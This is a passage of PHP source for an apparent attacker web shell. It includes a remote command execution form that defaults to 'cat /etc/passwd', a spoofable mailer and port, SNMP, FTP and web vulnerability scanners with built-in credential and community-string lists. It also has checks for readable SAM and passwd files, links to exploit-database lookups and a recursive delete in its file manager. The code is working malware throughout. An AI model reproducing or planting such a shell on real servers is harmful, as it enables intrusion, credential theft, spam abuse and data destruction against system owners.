| 404 | echo "<center><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><form method='POST'><tr><td width='20%'><b>Location:</b><input type=text name=workingdiR size=82 value='$cwd'><input class=buttons type=submit value=Change></form>$et<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='65%'><tr><td><b>Web Shell:</b></td></tr><td bgcolor='#666666'><textarea rows='23' cols='79'>";
|
|---|
| 405 | if(!empty($_REQUEST['cmd']))echo shelL($_REQUEST['cmd']);
|
|---|
| 406 | echo"</textarea></td></tr><form method=post><tr><td bgcolor='#808080'><input type=text size=91 name=cmd value='";if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo "'>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor='#808080'><select name='cmd' width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></form>$et</table><center>";
|
|---|
| 407 | }
|
|---|
| 408 | function maileR(){
|
|---|
| 409 | global $msgbox,$et,$hcwd;
|
|---|
| 410 | if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
|
|---|
| 411 | $to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
|
|---|
| 412 | if(mail($to,$subject,$body,"From: $from"))echo "$msgbox<b>Mail sent!</b><br>$et";
|
|---|
| 413 | }
|
|---|
| 414 | echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'><td><b>Mailer:</b></td></tr><td width='20%' bgcolor='#666666'>SMTP</td><td bgcolor='#666666'>".ini_get('SMTP').' ('.ini_get('smtp_port').")</td></tr><tr><td bgcolor='#808080'>From:</td><td bgcolor='#808080'><input name=from type=text value='JaCKaL@SpyGrup.Org' size=55>$hcwd</td><tr><td width='25%' bgcolor='#666666'>To:</td><td bgcolor='#666666'><input name=to type=text value='";if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo "' size=55></td></tr><tr><td bgcolor='#808080'>Subject:</td><td bgcolor='#808080'><input name=subject type=text value='' size=55></td><tr><td bgcolor='#666666'>Body:</td><td bgcolor='#666666'><textarea rows='18' cols='43' name=body></textarea></td></tr><tr><td width='10%' bgcolor='#808080'></td><td bgcolor='#808080' align='right'><input type=submit class=buttons value=Send></form>$et";
|
|---|
| 415 | }
|
|---|
| 416 | function scanneR(){
|
|---|
| 417 | global $hcwd,$et;
|
|---|
| 418 | if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1';
|
|---|
| 419 | $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
|
|---|
| 420 | if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
|
|---|
| 421 | $target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0;
|
|---|
| 422 | echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br>';
|
|---|
| 423 | $start=time();
|
|---|
| 424 | for($i=$from;$i<=$to;$i++){
|
|---|
| 425 | if($tcp){
|
|---|
| 426 | if(checkthisporT($target,$i,$timeout)){
|
|---|
| 427 | $nu++;
|
|---|
| 428 | $ser='';
|
|---|
| 429 | if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')';
|
|---|
| 430 | echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>";
|
|---|
| 431 | }
|
|---|
| 432 | }
|
|---|
| 433 | if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";}
|
|---|
| 434 | }
|
|---|
| 435 | $time=time()-$start;
|
|---|
| 436 | echo "Done! ($time seconds)</font>";
|
|---|
| 437 | }
|
|---|
| 438 | elseif(!empty($_REQUEST['securityscanner'])){
|
|---|
| 439 | echo '<font color=blue>';
|
|---|
| 440 | $start=time();
|
|---|
| 441 | $from=$_REQUEST['from'];
|
|---|
| 442 | $to=(int)$_REQUEST['to'];
|
|---|
| 443 | $timeout=(int)$_REQUEST['timeout'];
|
|---|
| 444 | $f=substr($from,strrpos($from,'.')+1);
|
|---|
| 445 | $from=substr($from,0,strrpos($from,'.'));
|
|---|
| 446 | if(!empty($_REQUEST['httpscanner'])){
|
|---|
| 447 | echo 'Loading webserver bug list...';
|
|---|
| 448 | $buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL');
|
|---|
| 449 | $dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
|
|---|
| 450 | if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>';
|
|---|
| 451 | }else{$fr=htmlspecialchars($from);echo "Scanning $fr.$f-$fr.$to:<br><br>";}
|
|---|
| 452 | for($i=$f;$i<=$to;$i++){
|
|---|
| 453 | $output=0;
|
|---|
| 454 | $ip="$from.$i";
|
|---|
| 455 | if(!empty($_REQUEST['nslookup'])){
|
|---|
| 456 | $hn=gethostbyaddr($ip);
|
|---|
| 457 | if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;}
|
|---|
| 458 | if(!empty($_REQUEST['ipscanner'])){
|
|---|
| 459 | $port=$_REQUEST['port'];
|
|---|
| 460 | if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port;
|
|---|
| 461 | $open=$ser='';
|
|---|
| 462 | foreach($p as $po){
|
|---|
| 463 | $scan=checkthisporT($ip,$po,$timeout);
|
|---|
| 464 | if($scan){
|
|---|
| 465 | $ser='';
|
|---|
| 466 | if($ser=getservbyport($po,'tcp'))$ser="($ser)";
|
|---|
| 467 | $open.=" $po$ser ";
|
|---|
| 468 | }
|
|---|
| 469 | }
|
|---|
| 470 | if($open){echo "$ip) Open ports:$open<br>";$output=1;}
|
|---|
| 471 |
|
|---|
| 472 | }
|
|---|
| 473 | if(!empty($_REQUEST['httpbanner'])){
|
|---|
| 474 | $res=get_sw_namE($ip,$timeout);
|
|---|
| 475 | if($res){
|
|---|
| 476 | echo "$ip) Webserver software: ";
|
|---|
| 477 | if($res==-1)echo 'Unknow';
|
|---|
| 478 | else echo $res;
|
|---|
| 479 | echo '<br>';
|
|---|
| 480 | $output=1;
|
|---|
| 481 | }
|
|---|
| 482 | }
|
|---|
| 483 | if(!empty($_REQUEST['httpscanner'])){
|
|---|
| 484 | if(checkthisporT($ip,80,$timeout) && !empty($file)){
|
|---|
| 485 | $admin=array('/admin/','/adm/');
|
|---|
| 486 | $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
|
|---|
| 487 | $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
|
|---|
| 488 | $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
|
|---|
| 489 | foreach($file as $v){
|
|---|
| 490 | $vuln=array();
|
|---|
| 491 | $v=trim($v);
|
|---|
| 492 | if(!$v || $v{0}=='#')continue;
|
|---|
| 493 | $v=str_replace('","','^',$v);
|
|---|
| 494 | $v=str_replace('"','',$v);
|
|---|
| 495 | $vuln=explode('^',$v);
|
|---|
| 496 | $page=$cqich=$nukech=$adminch=$userch=$vuln[1];
|
|---|
| 497 | if(strstr($page,'@CGIDIRS'))
|
|---|
| 498 | foreach($cgi as $cg){
|
|---|
| 499 | $cqich=str_replace('@CGIDIRS',$cg,$page);
|
|---|
| 500 | $url="http://$ip$cqich";
|
|---|
| 501 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
|
|---|
| 502 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
|
|---|
| 503 | }
|
|---|
| 504 | elseif(strstr($page,'@ADMINDIRS'))
|
|---|
| 505 | foreach($admin as $cg){
|
|---|
| 506 | $adminch=str_replace('@ADMINDIRS',$cg,$page);
|
|---|
| 507 | $url="http://$ip$adminch";
|
|---|
| 508 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
|
|---|
| 509 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
|
|---|
| 510 | }
|
|---|
| 511 | elseif(strstr($page,'@USERS'))
|
|---|
| 512 | foreach($users as $cg){
|
|---|
| 513 | $userch=str_replace('@USERS',$cg,$page);
|
|---|
| 514 | $url="http://$ip$userch";
|
|---|
| 515 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
|
|---|
| 516 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
|
|---|
| 517 | }
|
|---|
| 518 | elseif(strstr($page,'@NUKE'))
|
|---|
| 519 | foreach($nuke as $cg){
|
|---|
| 520 | $nukech=str_replace('@NUKE',$cg,$page);
|
|---|
| 521 | $url="http://$ip$nukech";
|
|---|
| 522 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
|
|---|
| 523 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
|
|---|
| 524 | }
|
|---|
| 525 | else{
|
|---|
| 526 | $url="http://$ip$page";
|
|---|
| 527 | $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
|
|---|
| 528 | if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
|
|---|
| 529 | }
|
|---|
| 530 | }
|
|---|
| 531 | }
|
|---|
| 532 | }
|
|---|
| 533 | if(!empty($_REQUEST['smtprelay'])){
|
|---|
| 534 | if(checkthisporT($ip,25,$timeout)){
|
|---|
| 535 | $res='';
|
|---|
| 536 | $res=checksmtP($ip,$timeout);
|
|---|
| 537 | if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}
|
|---|
| 538 | }
|
|---|
| 539 | }
|
|---|
| 540 | if(!empty($_REQUEST['snmpscanner'])){
|
|---|
| 541 | if(checkthisporT($ip,161,$timeout,1)){
|
|---|
| 542 | $com=$_REQUEST['com'];
|
|---|
| 543 | $coms=$res='';
|
|---|
| 544 | if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com;
|
|---|
| 545 | foreach($c as $v){
|
|---|
| 546 | $ret=snmpchecK($ip,$v,$timeout);
|
|---|
| 547 | if($ret)$coms.=" $v ";
|
|---|
| 548 | }
|
|---|
| 549 | if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
|
|---|
| 550 | }
|
|---|
| 551 | }
|
|---|
| 552 | if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){
|
|---|
| 553 | if(checkthisporT($ip,21,$timeout)){
|
|---|
| 554 | $usps=explode(',',$_REQUEST['userpass']);
|
|---|
| 555 | foreach($usps as $v){
|
|---|
| 556 | $user=substr($v,0,strpos($v,':'));
|
|---|
| 557 | $pass=substr($v,strpos($v,':')+1);
|
|---|
| 558 | if($pass=='[BLANK]')$pass='';
|
|---|
| 559 | $ftp=ftp_connect($ip,21,$timeout);
|
|---|
| 560 | if($ftp){
|
|---|
| 561 | if(ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";}
|
|---|
| 562 | }
|
|---|
| 563 | }
|
|---|
| 564 | }
|
|---|
| 565 | }
|
|---|
| 566 | if($output)echo '<hr size=1 noshade>';
|
|---|
| 567 | }
|
|---|
| 568 | $time=time()-$start;
|
|---|
| 569 | echo "Done! ($time seconds)</font>";
|
|---|
| 570 | if(!empty($buglist))unlink($buglist);
|
|---|
| 571 | }
|
|---|
| 572 | elseif(!empty($_REQUEST['directoryscanner'])){
|
|---|
| 573 | $dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1'];
|
|---|
| 574 | echo "<font color=blue><pre>Scanning started...\n";
|
|---|
| 575 | for($i=0;$i<count($dir);$i++){
|
|---|
| 576 | $d=trim($dir[$i]);
|
|---|
| 577 | if($r){
|
|---|
| 578 | $adr="http://$host/$d/";
|
|---|
| 579 | if(check_urL($adr,'GET','302')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";}
|
|---|
| 580 | }else{
|
|---|
| 581 | $adr="$d.$host";
|
|---|
| 582 | $ip=gethostbyname($adr);
|
|---|
| 583 | if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";}
|
|---|
| 584 | }
|
|---|
| 585 | }
|
|---|
| 586 | echo 'Done!</pre></font>';
|
|---|
| 587 | }
|
|---|
| 588 | else{
|
|---|
| 589 | $t="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'";
|
|---|
| 590 | $chbox=(extension_loaded('sockets'))?"<input type=checkbox style='border-width:1px;background-color:#808080;' name=tcp value=1 checked>TCP<input type=checkbox name=udp style='border-width:1px;background-color:#808080;' value=1 checked>UDP":"<input type=hidden name=tcp value=1>";
|
|---|
| 591 | echo "<center>$t><td>Port scanner:</td></tr><td width='25%' bgcolor='#808080'>Target:</td><td bgcolor='#808080' width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor='#666666' width=25%>From:</td><td bgcolor='#666666' width=25%><input name=fromport type=text value='1' size=5></td></tr><tr><td bgcolor='#808080' width=25%>To:</td><td bgcolor='#808080' width=25%><input name=toport type=text value='1024' size=5></td></tr><tr><td width='25%' bgcolor='#666666'>Timeout:</td><td bgcolor='#666666'><input name=timeout type=text value='2' size=5></td><tr><td width='25%' bgcolor='#808080'>$chbox</td><td bgcolor='#808080' align='right'>$hcwd<input type=submit class=buttons name=portscanner value=Scan></form>$et$t><td>Discoverer:</td></tr><tr><td width='25%' bgcolor='#808080'>Host:</td><td bgcolor='#808080' width=80%><input name=host value='".$_SERVER["HTTP_HOST"]."' size=40></td><td bgcolor='#808080'></td></tr><tr><td width='25%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width=80%><input name=dic size=40></td><td bgcolor='#666666'></td></tr><tr><td width='25%' bgcolor='#808080'>Search for:</td><td bgcolor='#808080' width=40%><input type=radio value=1 checked name=r1>Directories<input type=radio name=r1 value=0>Subdomains</td><td bgcolor='#808080' align='right' width=40%><input type=submit class=buttons name=directoryscanner value=Scan></td></form></tr></table>";
|
|---|
| 592 | $host=substr($host,0,strrpos($host,"."));
|
|---|
| 593 | echo "$t name=security><td>Security scanner:</td></tr><td width='25%' bgcolor='#808080'>From:</td><td bgcolor='#808080' width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style='border-width:1px;background-color:#808080;' name=nslookup checked>NS lookup</td></tr><tr><td bgcolor='#666666' width=25%>To:</td><td bgcolor='#666666' width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width='25%' bgcolor='#808080'>Timeout:</td><td bgcolor='#808080'><input name=timeout type=text value='2' size=5></td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ipscanner value=1 checked onClick='document.security.port.disabled = !document.security.port.disabled;' style='border-width:1px;background-color:#666666;'>Port scanner:</td><td bgcolor='#666666'><input name=port type=text value='21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=httpbanner value=1 checked style='border-width:1px;background-color:#808080;'>Get web banner</td><td bgcolor='#808080'><input type=checkbox name=httpscanner value=1 checked style='border-width:1px;background-color:#808080;'>Webserver security scanning <input type=checkbox name=smtprelay value=1 checked style='border-width:1px;background-color:#808080;'>SMTP relay check</td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ftpscanner value=1 checked onClick='document.security.userpass.disabled = !document.security.userpass.disabled;' style='border-width:1px;background-color:#666666;'>FTP password:</td><td bgcolor='#666666'><input name=userpass type=text value='JaCKaL:Jackal@SpyGrup.Org,ftp:ftp,Administrator:[BLANK],guest:[BLANK]' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=snmpscanner value=1 onClick='document.security.com.disabled = !document.security.com.disabled;' checked style='border-width:1px;background-color:#808080;'>SNMP:</td><td bgcolor='#808080'><input name=com type=text value='public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes' size=60></td></tr><tr><td width='25%' bgcolor='#666666'></td><td bgcolor='#666666' align='right'><input type=submit class=buttons name=securityscanner value=Scan></form>$et";
|
|---|
| 594 | }
|
|---|
| 595 | }
|
|---|
| 596 | function sysinfO(){
|
|---|
| 597 | global $windows,$disablefunctions,$cwd,$safemode;
|
|---|
| 598 | $t8="<td width='25%' bgcolor='#808080'>";
|
|---|
| 599 | $t6="<td width='25%' bgcolor='#666666'>";
|
|---|
| 600 | $mil="<a target='_blank' href='http://www.milw0rm.org/related.php?program=";
|
|---|
| 601 | $basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF';
|
|---|
| 602 | if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER'];
|
|---|
| 603 | $osver=$tsize=$fsize='';
|
|---|
| 604 | if($windows){
|
|---|
| 605 | $osver=' ('.shelL('ver').')';
|
|---|
| 606 | $sysroot=shelL("echo %systemroot%");
|
|---|
| 607 | if(empty($sysroot))$sysroot=$_SERVER['SystemRoot'];
|
|---|
| 608 | if(empty($sysroot))$sysroot = getenv('windir');
|
|---|
| 609 | if(empty($sysroot))$sysroot = 'Not Found';
|
|---|
| 610 | if(empty($CPU))$CPU=shelL("echo %PROCESSOR_IDENTIFIER%");
|
|---|
| 611 | for($i=66;$i<=90;$i++){
|
|---|
| 612 | $drive=chr($i).':\\';
|
|---|
| 613 | if(is_dir($drive)){
|
|---|
| 614 | $fsize+=disk_free_space($drive);
|
|---|
| 615 | $tsize+=disk_total_space($drive);
|
|---|
| 616 | }
|
|---|
| 617 | }
|
|---|
| 618 | }else{
|
|---|
| 619 | $fsize=disk_free_space('/');
|
|---|
| 620 | $tsize=disk_total_space('/');
|
|---|
| 621 | }
|
|---|
| 622 | $disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize);
|
|---|
| 623 | if(empty($CPU))$CPU='Unknow';
|
|---|
| 624 | $os=php_uname();
|
|---|
| 625 | $osn=php_uname('s');
|
|---|
| 626 | if(!$windows){
|
|---|
| 627 | $ker=php_uname('r');
|
|---|
| 628 | $o=($osn=='Linux')?'Linux+Kernel':$osn;
|
|---|
| 629 | $os=str_replace($osn,"${mil}$o'>$osn</a>",$os);
|
|---|
| 630 | $os=str_replace($ker,"${mil}Linux+Kernel'>$ker</a>",$os);
|
|---|
| 631 | $inpa=':';
|
|---|
| 632 | }else{
|
|---|
| 633 | $sam=$sysroot."\\system32\\config\\SAM";
|
|---|
| 634 | $inpa=';';
|
|---|
| 635 | $os=str_replace($osn,"${mil}MS+Windows'>$osn</a>",$os);
|
|---|
| 636 | }
|
|---|
| 637 | $software=str_replace('Apache',"${mil}Apache'>Apache</a>",$_SERVER['SERVER_SOFTWARE']);
|
|---|
| 638 | echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>${t6}Server:</td><td bgcolor='#666666'>".$_SERVER['HTTP_HOST'];if(!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr>${t8}Operation system:</td><td bgcolor='#808080'>$os$osver</td></tr><tr>${t6}Web server application:</td><td bgcolor='#666666'>$software</td></tr><tr>${t8}CPU:</td><td bgcolor='#808080'>$CPU</td></tr>${t6}Disk status:</td><td bgcolor='#666666'>$disksize</td></tr><tr>${t8}User domain:</td><td bgcolor='#808080'>";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr>${t6}User name:</td><td bgcolor='#666666'>";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "</td></tr>";
|
|---|
| 639 | if($windows){
|
|---|
| 640 | echo "<tr>${t8}Windows directory:</td><td bgcolor='#808080'><a href='".hlinK("seC=fm&workingdiR=$sysroot")."'>$sysroot</a></td></tr><tr>${t6}Sam file:</td><td bgcolor='#666666'>";if(is_readable(($sam)))echo "<a href='".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."'>Readable</a>"; else echo 'Not readable';echo '</td></tr>';
|
|---|
| 641 | }
|
|---|
| 642 | else
|
|---|
| 643 | {
|
|---|
| 644 | echo "<tr>${t8}Passwd file:</td><td bgcolor='#808080'>";
|
|---|
| 645 | if(is_readable('/etc/passwd'))echo "<a href='".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."'>Readable</a>";else echo'Not readable';echo "</td></tr><tr>${t6}${mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>";$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: ";
|
|---|
| 646 | if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</td></tr>';
|
|---|
| 647 | }
|
|---|
| 648 | echo "<tr>$t8${mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=".php_logo_guid()."' target='_blank'>".PHP_VERSION."</a> (<a href='".hlinK("seC=phpinfo&workingdiR=$cwd")."'>more...</a>)</td></tr><tr>${t6}Zend version:</td><td bgcolor='#666666'>";if (function_exists('zend_version')) echo "<a href='?=".zend_logo_guid()."' target='_blank'>".zend_version().'</a>';else echo 'Not Found';echo "</td><tr>${t8}Include path:</td><td bgcolor='#808080'>".str_replace($inpa,' ',DEFAULT_INCLUDE_PATH)."</td><tr>${t6}PHP Modules:</td><td bgcolor='#666666'>";$ext=get_loaded_extensions();foreach($ext as $v)echo $v.' ';echo "</td><tr>${t8}Disabled functions:</td><td bgcolor='#808080'>";if(!empty($disablefunctions))echo $disablefunctions;else echo 'Nothing'; echo"</td></tr><tr>${t6}Safe mode:</td><td bgcolor='#666666'>$safemode</td></tr><tr>${t8}Open base dir:</td><td bgcolor='#808080'>$basedir</td></tr><tr>${t6}DBMS:</td><td bgcolor='#666666'>";$sq='';if(function_exists('mysql_connect')) $sq= "${mil}MySQL'>MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL'>MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle'>Oracle</a> ";if(function_exists('sqlite_open')) $sq.= ' SQLite ';if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL'>PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= ' mSQL ';if(function_exists('mysqli_connect'))$sq.= ' MySQLi ';if(function_exists('ovrimos_connect')) $sq.= ' Ovrimos SQL ';if ($sq=='') $sq= 'Nothing'; echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr>${t8}cURL support:</td><td bgcolor='#808080'>Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo '(Version:'.$ver['version'].' OpenSSL version:'.$ver['ssl_version'].' zlib version:'.$ver['libz_version'].' host:'.$ver['host'].')';}echo '</td></tr></table>';
|
|---|
| 649 | }
|
|---|
| 650 | function checksuM($file){
|
|---|
| 651 | global $et;
|
|---|
| 652 | echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td width='10%' bgcolor='#666666'><b>MD5:</b> <font color=#F0F0F0>".md5_file($file).'</font><br><b>SHA1:</b><font color=#F0F0F0>'.sha1_file($file)."</font>$et";
|
|---|
| 653 | }
|
|---|
| 654 | function listdiR($cwd,$task){
|
|---|
| 655 | $c=getcwd();
|
|---|
| 656 | $dh=opendir($cwd);
|
|---|
| 657 | while($cont=readdir($dh)){
|
|---|
| 658 | if($cont=='.' || $cont=='..')continue;
|
|---|
| 659 | $adr=$cwd.DIRECTORY_SEPARATOR.$cont;
|
|---|
| 660 | switch($task){
|
|---|
| 661 | case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
|
|---|
| 662 | case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
|
|---|
| 663 | case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
|
|---|
| 664 | case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
|
|---|
| 665 | case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
|
|---|
| 666 | case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
|
|---|
| 667 | case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
|
|---|
| 668 | case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
|
|---|
| 669 | case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;}
|
|---|
| 670 | }
|
|---|
| 671 | if(is_dir($adr))listdiR($adr,$task);
|
|---|
| 672 | }
|
|---|
| 673 | }
|
|---|
| 674 | if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}}
|
|---|
| 675 | if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}}
|
|---|
| 676 | function filemanageR(){
|
|---|
| 677 | global $windows,$msgbox,$errorbox,$t,$et,$cwd,$hcwd;
|
|---|
| 678 | $table="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'>";
|
|---|
| 679 | $td1n="<td width='22%' bgcolor='#666666'>";
|
|---|
| 680 | $td2m="<td width='22%' bgcolor='#808080'>";
|
|---|
| 681 | $td1i="<td width='5%' bgcolor='#666666'>";
|
|---|
| 682 | $td2i="<td width='5%' bgcolor='#808080'>";
|
|---|
| 683 | $tdnr="<td width='22%' bgcolor='#800000'>";
|
|---|
| 684 | $tdw="<td width='22%' bgcolor='#006E00'>";
|
|---|
| 685 | if(!empty($_REQUEST['task'])){
|
|---|
| 686 | if(!empty($_REQUEST['search']))$_REQUEST['task']=7;
|
|---|
| 687 | if(!empty($_REQUEST['re']))$_REQUEST['task']=6;
|
|---|
| 688 | echo '<font color=blue><pre>';
|
|---|
| 689 | listdiR($cwd,$_REQUEST['task']);
|
|---|
| 690 | echo '</pre></font>';
|
|---|
| 691 | }else{
|
|---|
| 692 | if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){
|
|---|
| 693 | if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
|
|---|
| 694 | $title='Destination';
|
|---|
| 695 | $ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
|
|---|
| 696 | $dis=(!empty($_REQUEST['cP']))?'Copy':'Move';
|
|---|
| 697 | }else{
|
|---|
| 698 | $ad=$_REQUEST['rN'];
|
|---|
| 699 | $title='New name';
|
|---|
